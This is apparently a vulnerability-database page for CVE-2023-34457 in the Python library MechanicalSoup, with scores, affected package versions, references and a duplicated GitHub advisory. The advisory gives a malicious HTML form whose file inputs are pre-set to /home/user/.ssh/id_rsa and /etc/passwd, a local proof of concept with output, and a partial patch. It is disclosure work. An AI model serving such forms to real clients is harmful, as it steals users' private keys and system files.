CVE-2023-34457
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.9
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
CVE-2023-34457- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2023-0143
5.9
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
EUVD-2023-0143- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-x456-3ccm-m6j4
8.7
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
Summary
A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.
Details
This affects the extremely common pattern of form submission:
b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()
The problem is with the code in browser.Browser.get_request_kwargs:
if tag.get("type", "").lower() == "file" and multipart:
filepath = value
if filepath != "" and isinstance(filepath, str):
content = open(filepath, "rb")
else:
content = ""
filename = os.path.basename(filepath)
# If value is the empty string, we still pass it
# for consistency with browsers (see
# https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
files[name] = (filename, content)
The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
</form>
</body></html>
then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.
PoC
import attr
import mechanicalsoup
import requests
class NevermindError(Exception):
pass
@attr.s
class FakeSession:
session = attr.ib()
headers = property(lambda self: self.session.headers)
def request(self, *args, **kwargs):
print("requested", args, kwargs)
raise NevermindError # don't actually send request
def demonstrate(inputs=None):
b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
b.select_form()
if inputs is not None:
b.form.set_input(inputs)
try:
b.submit_selected()
except NevermindError:
pass
# %%
# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}
# %%
# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}
# %%
# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})
# %%
# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()
Suggested patch
diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
import os
import tempfile
import urllib
import weakref
import webbrowser
import bs4
@@ -227,15 +228,21 @@ class Browser:
value = tag.get("value", "")
# If the enctype is not multipart, the filename is put in
# the form as a text input and the file is not sent.
if tag.get("type", "").lower() == "file" and multipart:
filepath = value
…
- Record
GHSA-x456-3ccm-m6j4- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
5.9
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
CVE-2023-34457- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
5.9
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
CVE-2023-34457- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-34457
7.5
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
DEBIAN-CVE-2023-34457- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-x456-3ccm-m6j4
8.7
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
Summary
A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.
Details
This affects the extremely common pattern of form submission:
b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()
The problem is with the code in browser.Browser.get_request_kwargs:
if tag.get("type", "").lower() == "file" and multipart:
filepath = value
if filepath != "" and isinstance(filepath, str):
content = open(filepath, "rb")
else:
content = ""
filename = os.path.basename(filepath)
# If value is the empty string, we still pass it
# for consistency with browsers (see
# https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
files[name] = (filename, content)
The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
</form>
</body></html>
then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.
PoC
import attr
import mechanicalsoup
import requests
class NevermindError(Exception):
pass
@attr.s
class FakeSession:
session = attr.ib()
headers = property(lambda self: self.session.headers)
def request(self, *args, **kwargs):
print("requested", args, kwargs)
raise NevermindError # don't actually send request
def demonstrate(inputs=None):
b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
b.select_form()
if inputs is not None:
b.form.set_input(inputs)
try:
b.submit_selected()
except NevermindError:
pass
# %%
# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}
# %%
# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}
# %%
# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})
# %%
# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()
Suggested patch
diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
import os
import tempfile
import urllib
import weakref
import webbrowser
import bs4
@@ -227,15 +228,21 @@ class Browser:
value = tag.get("value", "")
# If the enctype is not multipart, the filename is put in
# the form as a text input and the file is not sent.
if tag.get("type", "").lower() == "file" and multipart:
filepath = value
…
- Record
GHSA-x456-3ccm-m6j4- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-34457
5.9
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
UBUNTU-CVE-2023-34457- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13499-1 No score
python310-MechanicalSoup-1.3.0-1.1 on GA media
These are all security issues fixed in the python310-MechanicalSoup-1.3.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13499-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11993-1 No score
python313-MechanicalSoup-1.4.0-2.4 on GA media
These are all security issues fixed in the python313-MechanicalSoup-1.4.0-2.4 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11993-1- Updated
- 2026-11-02
OSVPYSEC-2023-108 No score
MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.
- Record
PYSEC-2023-108- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mechanicalsoupPyPI |
0.2.0 up to 1.3.0 | 1.3.0 |
python-mechanicalsoupDebian:12 |
All versions, plus listed versions 0.10.0-61.3.0-11.3.0-21.3.0-31.4.0-1 |
None known |
python-mechanicalsoupDebian:13 |
before 1.3.0-1 | 1.3.0-1 |
python-mechanicalsoupDebian:14 |
before 1.3.0-1 | 1.3.0-1 |
mechanicalsoupPyPI |
0.2.0 up to 1.3.0, plus listed versions 0.10.00.11.00.12.00.2.10.2.2 Show 15 moreShow less0.3.00.3.10.4.00.5.00.6.00.7.00.8.00.9.00.9.0.post10.9.0.post20.9.0.post30.9.0.post41.0.01.1.01.2.0 |
1.3.0 |
mechanicalsoupPyPI |
before 1.3.0, plus listed versions 0.0.20.0.30.1.00.1.10.1.2 Show 21 moreShow less0.10.00.11.00.12.00.2.00.2.10.2.20.3.00.3.10.4.00.5.00.6.00.7.00.8.00.9.00.9.0.post10.9.0.post20.9.0.post30.9.0.post41.0.01.1.01.2.0 |
1.3.0 |
python-mechanicalsoupUbuntu:18.04:LTS |
All versions, plus listed versions 0.7.0-10.8.0-10.10.0-10.10.0-1.1 |
None known |
python-mechanicalsoupUbuntu:20.04:LTS |
All versions, plus listed versions 0.10.0-3 |
None known |
python-mechanicalsoupUbuntu:22.04:LTS |
All versions, plus listed versions 0.10.0-4 |
None known |
python-mechanicalsoupUbuntu:24.04:LTS |
All versions, plus listed versions 0.10.0-6build11.3.0-11.3.0-2 |
None known |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-mechanicalsoupUbuntu:25.10 |
All versions, plus listed versions 1.3.0-21.4.0-0ubuntu11.4.0-0ubuntu2 |
None known |
python-mechanicalsoupUbuntu:26.10 |
All versions, plus listed versions 1.4.0-0ubuntu2 |
None known |
python-mechanicalsoupUbuntu:26.04:LTS |
All versions, plus listed versions 1.4.0-0ubuntu2 |
None known |
python-MechanicalSoupopenSUSE:Tumbleweed |
before 1.4.0-2.4 | 1.4.0-2.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-34457 is a medium vulnerability (CVSS 5.9) in Mechanicalsoup, published July 5, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.08%, the 65th percentile. Fixed in mechanicalsoup 1.3.0.
References
github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4
github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e
github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0
security.netapp.com/advisory/ntap-20230803-0005
nvd.nist.gov/vuln/detail/CVE-2023-34457
github.com/pypa/advisory-database/tree/main/vulns/mechanicalsoup/PYSEC-2023-108.yaml
Show 7 moreShow less
github.com/advisories/GHSA-x456-3ccm-m6j4
github.com/CVEProject/cvelistV5/tree/main/cves/2023/34xxx/CVE-2023-34457.json
security-tracker.debian.org/tracker/CVE-2023-34457
github.com/MechanicalSoup/MechanicalSoup
ubuntu.com/security/CVE-2023-34457
cve.org/CVERecord?id=CVE-2023-34457
suse.com/security/cve/CVE-2023-34457
Left out here: the rest of 2 source descriptions. The JSON record has them.